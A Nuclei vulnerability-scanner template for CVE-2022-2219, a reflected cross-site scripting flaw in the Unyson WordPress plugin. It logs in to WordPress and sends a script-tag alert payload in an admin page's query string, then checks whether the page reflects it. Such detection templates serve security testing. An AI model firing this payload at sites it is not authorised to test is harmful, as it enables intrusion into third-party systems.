nuclei-templates/cves/2022/CVE-2022-2219.yaml

id: CVE-2022-2219

info:
  name: Unyson < 2.7.27 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters
  remediation: Fixed in version 2.7.27
  reference:
    - https://wpscan.com/vulnerability/1240797c-7f45-4c36-83f0-501c544ce76a
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2219
  metadata:
    verified: "true"
  tags: authenticated,cve,cve2022,wordpress,wp,xss,unyson,wp-plugin,wpscan

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?page=fw-extensions&sub-page=extension&extension=feedback<script>alert(document.domain)</script>  HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(all_headers_2, "text/html")'
          - 'contains(body_2, "script%3Ealert%28document.domain%29%3C%2Fscript%3")'
          - 'contains(body_2, "Unyson")'
        condition: and